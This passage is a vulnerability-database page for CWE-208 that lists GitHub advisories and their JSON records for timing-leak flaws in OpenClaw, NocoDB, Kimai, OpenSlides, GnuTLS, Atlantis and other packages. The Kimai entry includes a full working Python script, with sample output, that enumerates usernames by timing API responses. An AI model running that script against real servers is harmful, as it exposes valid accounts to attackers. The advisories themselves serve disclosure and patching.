CWE-208
AllowedObservable Timing Discrepancy
Abstraction: Base · Status: Incomplete
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
359 vulnerabilities reference this CWE, most recent first.
GHSA-JMM5-FVH5-GF4P
Vulnerability from github – Published: 2026-03-02 22:43 – Updated: 2026-03-06 01:05Summary
OpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.
In practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.
Affected Packages / Versions
- openclaw (npm): < 2026.2.12
Patched Versions
- openclaw (npm): >= 2026.2.12
Mitigations
- Upgrade to openclaw >= 2026.2.12.
- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.
Fix Commit(s)
- 113ebfd6a23c4beb8a575d48f7482593254506ec
OpenClaw thanks @akhmittra for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28464"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:43:34Z",
"nvd_published_at": "2026-03-05T22:16:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.\n\nIn practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.\n\n## Affected Packages / Versions\n\n- openclaw (npm): \u003c 2026.2.12\n\n## Patched Versions\n\n- openclaw (npm): \u003e= 2026.2.12\n\n## Mitigations\n\n- Upgrade to openclaw \u003e= 2026.2.12.\n- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.\n\n## Fix Commit(s)\n\n- 113ebfd6a23c4beb8a575d48f7482593254506ec\n\nOpenClaw thanks @akhmittra for reporting.",
"id": "GHSA-jmm5-fvh5-gf4p",
"modified": "2026-03-06T01:05:22Z",
"published": "2026-03-02T22:43:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jmm5-fvh5-gf4p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28464"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/113ebfd6a23c4beb8a575d48f7482593254506ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-timing-attack-in-hooks-token-authentication"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has non-constant-time token comparison in hooks authentication"
}
GHSA-JR54-JWHJ-55GP
Vulnerability from github – Published: 2026-06-05 16:03 – Updated: 2026-07-20 21:18Summary
Sign-in response timing differed between known and unknown email addresses because the unknown-user branch returned without performing a password hash comparison.
Details
The unknown-user branch in auth.service.ts now performs a bcrypt.compare against
a fixed dummy hash so the response time of failed sign-ins is approximately
independent of whether the address exists. Rate limiting on the sign-in endpoint is
implemented in the Enterprise build only and is not affected by this advisory.
Impact
A network-positioned attacker could enumerate registered email addresses by timing sign-in responses. Exploitation requires only the ability to send unauthenticated sign-in requests.
Credit
This issue was reported by @AndyAnh174.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nocodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.04.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47380"
],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:03:55Z",
"nvd_published_at": "2026-06-23T21:16:59Z",
"severity": "MODERATE"
},
"details": "### Summary\nSign-in response timing differed between known and unknown email addresses because\nthe unknown-user branch returned without performing a password hash comparison.\n\n### Details\nThe unknown-user branch in `auth.service.ts` now performs a `bcrypt.compare` against\na fixed dummy hash so the response time of failed sign-ins is approximately\nindependent of whether the address exists. Rate limiting on the sign-in endpoint is\nimplemented in the Enterprise build only and is not affected by this advisory.\n\n### Impact\nA network-positioned attacker could enumerate registered email addresses by timing\nsign-in responses. Exploitation requires only the ability to send unauthenticated\nsign-in requests.\n\n### Credit\nThis issue was reported by [@AndyAnh174](https://github.com/AndyAnh174).",
"id": "GHSA-jr54-jwhj-55gp",
"modified": "2026-07-20T21:18:04Z",
"published": "2026-06-05T16:03:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-jr54-jwhj-55gp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47380"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocodb/nocodb"
},
{
"type": "WEB",
"url": "https://github.com/nocodb/nocodb/releases/tag/2026.04.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "NocoDB: User Enumeration via Sign-In Timing"
}
GHSA-JRC6-FMHW-FPQ2
Vulnerability from github – Published: 2026-04-17 22:30 – Updated: 2026-04-17 22:30Details
src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.
The /api/* firewall has no login_throttling configured, so the probe is unbounded.
The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.
Proof of concept
#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""
import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request
PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32
def probe(url, user, ctx):
req = urllib.request.Request(
url + PROBE_PATH,
headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
)
t0 = time.perf_counter()
try:
urllib.request.urlopen(req, context=ctx, timeout=10).read()
except urllib.error.HTTPError as e:
e.read()
return (time.perf_counter() - t0) * 1000.0
def median_ms(url, user, samples, ctx):
return statistics.median(probe(url, user, ctx) for _ in range(samples))
def load_candidates(path):
with open(path) as f:
return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]
def main():
ap = argparse.ArgumentParser(description=__doc__.strip())
ap.add_argument("-u", "--url", required=True,
help="base URL, e.g. https://kimai.example")
ap.add_argument("-l", "--list", required=True, metavar="FILE",
help="one candidate username per line")
ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
help="median delta over baseline that flags a real user")
ap.add_argument("-n", "--samples", type=int, default=15)
ap.add_argument("--verify-tls", action="store_true")
args = ap.parse_args()
url = args.url.rstrip("/")
ctx = None if args.verify_tls else ssl._create_unverified_context()
candidates = load_candidates(args.list)
baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
print(f"baseline: {baseline:.1f} ms", file=sys.stderr)
width = max(len(u) for u in candidates)
print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict")
print("-" * (width + 30))
for user in candidates:
m = median_ms(url, user, args.samples, ctx)
delta = m - baseline
verdict = "REAL" if delta > args.threshold else "-"
print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}")
if __name__ == "__main__":
main()
Usage:
$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)
username median delta verdict
----------------------------------------------------------
user1@example.com 64.2ms +26.5ms REAL
user2@example.com 72.4ms +34.7ms REAL
user3@example.com 70.0ms +32.3ms REAL
tester.nonexistent@example.com 37.2ms -0.5ms -
admin 63.6ms +25.9ms REAL
administrator 38.2ms +0.4ms -
root 37.3ms -0.4ms -
test 33.6ms -4.1ms -
demo 38.2ms +0.5ms -
kimai 37.0ms -0.7ms -
nonexistent_user_aaa 38.1ms +0.4ms -
nonexistent_user_bbb 37.5ms -0.2ms -
nonexistent_user_ccc 38.4ms +0.7ms -
In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.
Fix
In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:
private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';
try {
$user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
$this->passwordHasherFactory
->getPasswordHasher(User::class)
->verify(self::DUMMY_HASH, $credentials['password']);
throw $e;
}
The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.
Relevance
The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.53.0"
},
"package": {
"ecosystem": "Packagist",
"name": "kimai/kimai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.54.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:30:59Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n req = urllib.request.Request(\n url + PROBE_PATH,\n headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n )\n t0 = time.perf_counter()\n try:\n urllib.request.urlopen(req, context=ctx, timeout=10).read()\n except urllib.error.HTTPError as e:\n e.read()\n return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n with open(path) as f:\n return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n ap = argparse.ArgumentParser(description=__doc__.strip())\n ap.add_argument(\"-u\", \"--url\", required=True,\n help=\"base URL, e.g. https://kimai.example\")\n ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n help=\"one candidate username per line\")\n ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n help=\"median delta over baseline that flags a real user\")\n ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n ap.add_argument(\"--verify-tls\", action=\"store_true\")\n args = ap.parse_args()\n\n url = args.url.rstrip(\"/\")\n ctx = None if args.verify_tls else ssl._create_unverified_context()\n candidates = load_candidates(args.list)\n\n baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n width = max(len(u) for u in candidates)\n print(f\"{\u0027username\u0027:\u003c{width}} {\u0027median\u0027:\u003e8} {\u0027delta\u0027:\u003e8} verdict\")\n print(\"-\" * (width + 30))\n for user in candidates:\n m = median_ms(url, user, args.samples, ctx)\n delta = m - baseline\n verdict = \"REAL\" if delta \u003e args.threshold else \"-\"\n print(f\"{user:\u003c{width}} {m:\u003e6.1f}ms {delta:\u003e+6.1f}ms {verdict}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername median delta verdict\n----------------------------------------------------------\nuser1@example.com 64.2ms +26.5ms REAL\nuser2@example.com 72.4ms +34.7ms REAL\nuser3@example.com 70.0ms +32.3ms REAL\ntester.nonexistent@example.com 37.2ms -0.5ms -\nadmin 63.6ms +25.9ms REAL\nadministrator 38.2ms +0.4ms -\nroot 37.3ms -0.4ms -\ntest 33.6ms -4.1ms -\ndemo 38.2ms +0.5ms -\nkimai 37.0ms -0.7ms -\nnonexistent_user_aaa 38.1ms +0.4ms -\nnonexistent_user_bbb 37.5ms -0.2ms -\nnonexistent_user_ccc 38.4ms +0.7ms -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = \u0027$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0\u0027;\n\ntry {\n $user = $this-\u003euserProvider-\u003eloadUserByIdentifier($credentials[\u0027username\u0027]);\n} catch (UserNotFoundException $e) {\n $this-\u003epasswordHasherFactory\n -\u003egetPasswordHasher(User::class)\n -\u003everify(self::DUMMY_HASH, $credentials[\u0027password\u0027]);\n throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash(\u0027dummy\u0027, PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. \ufffc",
"id": "GHSA-jrc6-fmhw-fpq2",
"modified": "2026-04-17T22:30:59Z",
"published": "2026-04-17T22:30:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-jrc6-fmhw-fpq2"
},
{
"type": "PACKAGE",
"url": "https://github.com/kimai/kimai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kimai: Username enumeration via timing on X-AUTH-USER"
}
GHSA-JVFR-JF2P-RC53
Vulnerability from github – Published: 2025-03-21 06:30 – Updated: 2025-03-21 06:30An issue was discovered in OpenSlides before 4.2.5. During login at the /system/auth/login/ endpoint, the system's response times differ depending on whether a user exists in the system. The timing discrepancy stems from the omitted hashing of the password (e.g., more than 100 milliseconds).
{
"affected": [],
"aliases": [
"CVE-2025-30344"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-21T06:15:26Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in OpenSlides before 4.2.5. During login at the /system/auth/login/ endpoint, the system\u0027s response times differ depending on whether a user exists in the system. The timing discrepancy stems from the omitted hashing of the password (e.g., more than 100 milliseconds).",
"id": "GHSA-jvfr-jf2p-rc53",
"modified": "2025-03-21T06:30:27Z",
"published": "2025-03-21T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30344"
},
{
"type": "WEB",
"url": "https://www.x41-dsec.de/lab/advisories/x41-2025-001-OpenSlides"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JVJ3-GQJM-CG8P
Vulnerability from github – Published: 2023-11-28 12:31 – Updated: 2025-11-04 21:30A vulnerability was found that the response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from response times of ciphertexts with correct PKCS#1 v1.5 padding.
{
"affected": [],
"aliases": [
"CVE-2023-5981"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-28T12:15:07Z",
"severity": "HIGH"
},
"details": "A vulnerability was found that the response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from response times of ciphertexts with correct PKCS#1 v1.5 padding.",
"id": "GHSA-jvj3-gqjm-cg8p",
"modified": "2025-11-04T21:30:48Z",
"published": "2023-11-28T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5981"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0155"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0319"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0399"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0451"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0533"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1383"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:2094"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-5981"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2248445"
},
{
"type": "WEB",
"url": "https://gnutls.org/security-new.html#GNUTLS-SA-2023-10-23"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00016.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7ZEIOLORQ7N6WRPFXZSYDL2MC4LP7VFV"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GNXKVR5YNUEBNHAHM5GSYKBZX4W2HMN2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/01/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JXQV-JCVH-7GR4
Vulnerability from github – Published: 2022-07-30 00:00 – Updated: 2024-05-20 21:28The package github.com/runatlantis/atlantis/server/controllers/events before 0.19.7 is vulnerable to Timing Attack in the webhook event validator code, which does not use a constant-time comparison function to validate the webhook secret. It can allow an attacker to recover this secret as an attacker and then forge webhook events.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/runatlantis/atlantis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.19.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24912"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-06T05:21:43Z",
"nvd_published_at": "2022-07-29T10:15:00Z",
"severity": "HIGH"
},
"details": "The package github.com/runatlantis/atlantis/server/controllers/events before 0.19.7 is vulnerable to Timing Attack in the webhook event validator code, which does not use a constant-time comparison function to validate the webhook secret. It can allow an attacker to recover this secret as an attacker and then forge webhook events.",
"id": "GHSA-jxqv-jcvh-7gr4",
"modified": "2024-05-20T21:28:30Z",
"published": "2022-07-30T00:00:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24912"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/issues/2391"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/pull/2392"
},
{
"type": "WEB",
"url": "https://github.com/runatlantis/atlantis/commit/48870911974adddaa4c99c8089e79b7d787fa820"
},
{
"type": "PACKAGE",
"url": "https://github.com/runatlantis/atlantis"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0534"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMRUNATLANTISATLANTISSERVERCONTROLLERSEVENTS-2950851"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Atlantis Events vulnerable to Timing Attack"
}
GHSA-M38J-PMG3-V5X5
Vulnerability from github – Published: 2020-06-23 19:58 – Updated: 2024-11-18 16:26Impact
Potential timing attack exists on websites where the basic authentication is used or configured, i.e. BASIC_AUTH_LOGIN and BASIC_AUTH_PASSWORD is set. Currently the string comparison between configured credentials and the ones provided by users is performed through a character-by-character string comparison. This enables a possibility that attacker may time the time it takes the server to validate different usernames and password, and use this knowledge to work out the valid credentials. This attack is understood not to be realistic over the Internet. However, it may be achieved from within local networks where the website is hosted, e.g. from inside a data centre where a website's server is located.
Sites protected by IP address whitelisting only are unaffected by this vulnerability.
Patches
This vulnerability has been fixed on version 0.3.4 of django-basic-auth-ip-whitelist. Update to version 0.3.4 as soon as possible and change basic authentication username and password configured on a Django project using this package.
Workarounds
Stop using basic authentication and use the IP whitelisting component only. It can be achieved by not setting BASIC_AUTH_LOGIN and BASIC_AUTH_PASSWORD in Django project settings.
References
For more information
If you have any questions or comments about this advisory: * Open an issue at https://github.com/tm-kn/django-basic-auth-ip-whitelist/issues * Email us at the email specified on the security policy.
Acknowledgements
Thanks to Thibaud Colas for reporting this.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django-basic-auth-ip-whitelist"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-4071"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-23T19:56:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nPotential timing attack exists on websites where the basic authentication is used or configured, i.e. `BASIC_AUTH_LOGIN` and `BASIC_AUTH_PASSWORD` is set. Currently the string comparison between configured credentials and the ones provided by users is performed through a character-by-character string comparison. This enables a possibility that attacker may time the time it takes the server to validate different usernames and password, and use this knowledge to work out the valid credentials. This attack is understood not to be realistic over the Internet. However, it may be achieved from within local networks where the website is hosted, e.g. from inside a data centre where a website\u0027s server is located.\n\nSites protected by IP address whitelisting only are unaffected by this vulnerability.\n\n### Patches\nThis vulnerability has been fixed on version 0.3.4 of django-basic-auth-ip-whitelist. Update to version 0.3.4 as soon as possible and change basic authentication username and password configured on a Django project using this package.\n\n### Workarounds\nStop using basic authentication and use the IP whitelisting component only. It can be achieved by not setting `BASIC_AUTH_LOGIN` and `BASIC_AUTH_PASSWORD` in Django project settings.\n\n### References\n\n- [Django mailing list discussion](https://groups.google.com/forum/#!msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at https://github.com/tm-kn/django-basic-auth-ip-whitelist/issues\n* Email us at the email specified on the [security policy](https://github.com/tm-kn/django-basic-auth-ip-whitelist/security/policy).\n\n### Acknowledgements\n\nThanks to Thibaud Colas for reporting this.",
"id": "GHSA-m38j-pmg3-v5x5",
"modified": "2024-11-18T16:26:09Z",
"published": "2020-06-23T19:58:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tm-kn/django-basic-auth-ip-whitelist/security/advisories/GHSA-m38j-pmg3-v5x5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4071"
},
{
"type": "WEB",
"url": "https://github.com/tm-kn/django-basic-auth-ip-whitelist/commit/effe05ed1ed9e1ccc675a65b69d36217e5c5dfc6"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django-basic-auth-ip-whitelist/PYSEC-2020-37.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tm-kn/django-basic-auth-ip-whitelist"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Timing attack on django-basic-auth-ip-whitelist"
}
GHSA-M4F8-P58G-J8MJ
Vulnerability from github – Published: 2023-01-18 00:30 – Updated: 2023-01-25 02:56A vulnerability, which was classified as problematic, was found in michaelliao jopenid. Affected is the function getAuthentication of the file JOpenId/src/org/expressme/openid/OpenIdManager.java. The manipulation leads to observable timing discrepancy. Upgrading to version 1.08 is able to address this issue. The name of the patch is c9baaa976b684637f0d5a50268e91846a7a719ab. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-218460.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.expressme:JOpenId"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.08"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2010-10006"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-25T02:56:52Z",
"nvd_published_at": "2023-01-18T00:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability, which was classified as problematic, was found in michaelliao jopenid. Affected is the function getAuthentication of the file JOpenId/src/org/expressme/openid/OpenIdManager.java. The manipulation leads to observable timing discrepancy. Upgrading to version 1.08 is able to address this issue. The name of the patch is c9baaa976b684637f0d5a50268e91846a7a719ab. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-218460.",
"id": "GHSA-m4f8-p58g-j8mj",
"modified": "2023-01-25T02:56:52Z",
"published": "2023-01-18T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-10006"
},
{
"type": "WEB",
"url": "https://github.com/michaelliao/jopenid/commit/c9baaa976b684637f0d5a50268e91846a7a719ab"
},
{
"type": "WEB",
"url": "https://github.com/michaelliao/jopenid/releases/tag/JOpenId-1.08"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.218460"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.218460"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Observable timing discrepancy in JOpenId"
}
GHSA-M538-6WP4-7H22
Vulnerability from github – Published: 2026-06-12 15:30 – Updated: 2026-06-12 18:31Crypt::PBKDF2 versions before 0.261630 for Perl are vulnerable to timing attacks.
These versions use Perl's built-in eq comparison. Discrepancies in timing could be used to guess the underlying derived-key.
{
"affected": [],
"aliases": [
"CVE-2017-20240"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-12T14:16:28Z",
"severity": "MODERATE"
},
"details": "Crypt::PBKDF2 versions before 0.261630 for Perl are vulnerable to timing attacks.\n\nThese versions use Perl\u0027s built-in eq comparison. Discrepancies in timing could be used to guess the underlying derived-key.",
"id": "GHSA-m538-6wp4-7h22",
"modified": "2026-06-12T18:31:53Z",
"published": "2026-06-12T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20240"
},
{
"type": "WEB",
"url": "https://github.com/arodland/Crypt-PBKDF2/pull/6"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/ARODLAND/Crypt-PBKDF2-0.161520/source/lib/Crypt/PBKDF2.pm#L123-148"
},
{
